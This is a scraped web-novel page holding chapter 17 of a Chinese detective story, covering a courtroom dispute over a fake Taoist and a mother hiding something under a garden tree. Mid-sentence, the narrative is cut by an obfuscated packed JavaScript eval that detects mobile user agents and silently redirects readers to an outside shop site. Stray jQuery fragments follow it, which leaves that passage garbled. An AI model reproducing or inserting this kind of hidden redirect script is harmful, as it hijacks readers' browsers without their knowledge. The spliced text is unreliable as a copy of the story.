文趣网 > 其他小说 > 花仵作美食探案录 > 17. 深夜爬墙
    关乐生没料到自己翻墙的事会被人瞧见,“你居然跟踪我!我看你才是居心叵测,就是想栽赃陷害我!”

    “听不懂人话是吧?贫道都说几遍了,是刚!好!路!过!”魏方圆不甘示弱地白了他一眼。

    关乐生:“谁家好人大半夜不睡觉,四处溜达?我看你就是尾随!想报复我!”

    “对对对,算我尾随你,行了吧?你满意了?”魏方圆颇为嫌弃地上下打量了他一番,这人到底长没长脑子?

    关乐生一副抓住他把柄的模样,“大人您听!这可是他自己亲口承认的!这等行为不端的人,嘴里能有一句真话?”

    “就算我承认尾随你又如何?你没反驳我方才的话,那就是变相承认自己爬墙!就这脑子还敢出来装神弄鬼!”魏方圆看傻子一样看着他,手一指,“大人!他肯定没安好心,快抓他!”

    章淮就这么看着他们互相争辩,平静的目光仿佛能洞穿人心,看得关乐生浑身不自在。

    “不、不是!大人,小人是被冤枉的啊!”关乐生连忙摆手,“这道士就是嫉妒小人抢了他的生意,您可千万不能听信他的一面之词啊!”

    章淮闻言沉吟片刻,仿佛真被他说动了一般,“你说得倒也有理,办案讲究真凭实据。魏道长,你可还有其他证据?”

    形势忽然逆转,魏方圆急了:“上述所言皆是贫道亲眼所见!贫道就是人证啊!”

    章淮似是不想再听他争辩,草草下了定论,便要把人送出去。

    宣判的结果未能如魏方圆所愿。

    关乐生冒充道士招摇撞骗一事证据确凿,被判罚款三两,杖责十下,以示惩戒。

    至于盗窃一案,章淮并未当堂定罪,只说待明日亲自前往张家查证后再做定夺。

    魏方圆愤愤不平地瞪了关乐生一眼,甩袖出了县衙公堂。

    没想到这县令长得人模人样,却是个糊涂狗官!

    可恶!

    另一边,关乐生交了罚金又挨了十板子,屁股火辣辣地痛。

    离开县衙时,他虽然一瘸一拐,却走得极快,仿佛身后有人在撵他。

    回到自己落脚的破旧小屋,关乐生立刻关上门,从床底下掏出一把用布层层包裹的斩骨刀。

    只是揭开布的一角,刀身上映出的森森寒光就让他胃里一阵翻涌。

    他脸色难看地重新将刀包好,暂时塞进了枕头底下。

    关乐生正想坐下喘口气,可屁股刚一碰到床沿,一股钻心的剧痛窜了上来,疼得他倒吸一口凉气。

    他心里憋闷又害怕,自己压根儿就没翻过张家的墙。

    大晚上爬墙偷鸡摸狗多明显?他是生怕街坊领居发现不了他和李氏那点破事,才去干那种惹人怀疑的蠢事?

    他每次去寻李氏,那可都是正正经经从大门进出的。

    他也摸不透那死胖子到底是真撞见了什么,还是信口胡诌诬陷他。

    但无论是哪一种,如今他都已经被那位县令给盯上了。

    若是明日章淮带人去张家查案,在院里翻出那些东西,他就算插翅也难逃!

    这么想着,关乐生看了看手上的斩骨刀,眸光闪了闪。

    ……

    张自成从镖局下工后,特意又往县衙跑了一趟。

    今日码头到了一批大货,镖局接下了押运去京城的大单子,整个镖局的人今日都在扛货。

    他在县衙外拍干净身上的尘土,又把衣裳抻了抻,才走进去。

    章淮看着眼前男人满是希冀与不安的模样,于心不忍地安抚道:“你且放心,衙门一旦有了你弟弟的消息,定会第一时间派人通知你,你不必每日下工都跑这一趟。”

    “诶!好!多谢大人!多谢大人!”张自成连忙连连躬身,悬着的心这才稍稍落定了一些。

    “此前为你父亲做法事的是个假道士。今日有人告他半夜曾潜入你家偷窃。”在他转身准备离去时,章淮忽然叫住了他。

    “不过报案人与那假道士有旧怨,所言未必全真。你回家后且仔细核查一番,看看家中可有遗失什么财物。”

    张自成又是好一顿千恩万谢。

    衙门重归寂静,章淮看向身侧的人:“人手都安排好了吗?”

    饮羽微微颔首:“衙役们分别潜伏在关乐生的住处与张家四周,一旦有动静,立刻回报。”

    “郎君,为何要将假道士的事透露给张自成?这样会不会打草惊蛇,让关乐生和李氏有了防备?”穿杨把手里的巨胜奴高高抛起,又用嘴稳稳接住。

    嚼吧嚼吧,他又将第二块巨胜奴抛向空中。

    饮羽眼疾手快,凌空伸出两指一夹,顺势塞进自己嘴里嘎吱嘎吱嚼了起来,淡淡道:“这叫引蛇出洞。你且等着看,用不了多久,他们便会狗咬狗,自露马脚。”

    章淮微微颔首。

    这桩案子的关键,不在于关乐生是否翻墙盗窃,而在于张自顺为何会突然折返回家,又为何在归家之后离奇失踪。

    他究竟知道了什么,或是撞见了什么不可告人的秘密,才会不知所踪。

    ……

    张自成拖着疲惫的身躯急匆匆赶回了家。

    一推开院门,一股饭菜香味扑鼻而来。

    看到这温馨的一幕,张自成紧绷的脸上难得流露出几分放松。

    自从母亲染上赌瘾后,整日泡在赌坊里,不顾家里的死活,他已经记不清自己有多久没吃过母亲亲手做的热饭了。

    不过这几日,母亲似乎变回了从前的模样,不再去赌坊,每日他下工回来,都能吃上热腾腾的饭菜。

    这样的日子,让他心里觉得无比踏实。

    张自成打起精神,笑着问道:“娘,今天吃的是什么好吃的?闻着可真香!”

    “是你喜欢的胡饼和鲈鱼羹,快坐下吃饭吧,再不吃就凉了。”李氏给他夹了一块胡饼。

    张自拿起胡饼咬了一口,熟悉的味道让他越发挂念弟弟,“二郎最喜欢吃您做的胡饼,他这一去游学,也不知道何时才能回来。等二郎回来,娘也给他做一顿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928193|213347||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,好不好?”

    李氏神色晦暗不明,“好……等他回来,娘就给他做,做他最爱吃的胡饼和炙羊肉。”

    张自成并未察觉母亲神色的异样,盛了一碗鱼羹递到她面前:“娘,您也多吃点。”

    “二郎这孩子也是,一声不吭就跑去游学,还惊动了县衙满城寻他。你看章大人每日公务那么繁忙,要不咱们明日去撤了案,别再麻烦官府了吧?”李氏小口喝着鱼羹,状似无意地提起。

    “二郎做事向来周全,断不会如此不告而别。如今出关过渡口处处都要查验过所,有章大人出面,能更快寻到他的下落。只要能确认他平安无事,我就能安心。”张自成正低着头喝鱼羹,错过了李氏眼底一闪而过的狠戾。

    吃完饭,他将碗筷收拾干净,从灶房里拿出一把锄头,对着院角的那株桂花树就是一锄头。

    李氏刚从屋里出来便撞见这一幕,惊得脸色大变,“你要干什么?!你挖这里做什么?!”

    她慌张地冲过去,一把夺下锄头。

    张自成被母亲突如其来的反应吓了一跳,以为她是气自己挖了桂花树附近的土地。

    这棵树是弟弟当年考中童试那年亲手种下的,寓意“蟾宫折桂”,爹娘一直很宝贝。

    他连忙放下锄头,“娘,今日章大人告诉我,那日来家里给爹做法事的道士是个假道士,半夜还翻过咱们家的院墙。”

    “我之前一直把攒下的积蓄埋在这桂花树下。今儿听说了这事,心里不踏实,想挖出来瞧瞧,可别让那贼道士给摸走了。”

    说罢,他再次拿过锄头向下刨去。

    他每挥下一锄头,李氏的心跳就漏一拍,脸色也跟着白一分。

    直到看清张自成藏钱的位置,李氏才在暗暗松了一口气。

    所幸,那地离她埋咸菜坛子的位置还隔着一段距离。

    张自成将一个沉甸甸的陶罐从土里抠了出来,细心扫掉上面的泥块,揭开盖子,里面码着铜钱与碎银。

    “娘,您别怪孩儿瞒着您。这些钱是我这些年在镖局卖苦力攒下来的,本想留着给二郎将来考功名用。”

    “先前怕您拿去赌坊输掉,才偷偷埋在这儿。如今您既然改过自新不去赌了,告诉您也无妨。”

    他将里面的钱倒出来仔细盘点,一共三十二两四百二十一文,一文不差。

    “看来真是报案的那人与那假道士不对付,还好咱们家没遭贼。”张自成自顾自嘟囔着将银钱重新放回陶罐,小心翼翼地埋回坑里踩实了泥土。

    与母亲道了一声歇息,他便转身回房,今日在镖局扛了一天货,心里又记挂弟弟,可以说是身心俱疲,倒在床上没一会儿便沉沉睡去。

    夜色渐深,李氏独自伫立在寂静的院落中,借着月光死死盯着桂花树后那一拢微微隆起的新土。

    没想到关乐生那个废物这么快就被发现,也不是到县令说的那番话是试探还是随口一提。

    这么一想,李氏的脸色愈发阴沉,必须抓紧时间把东西处理掉。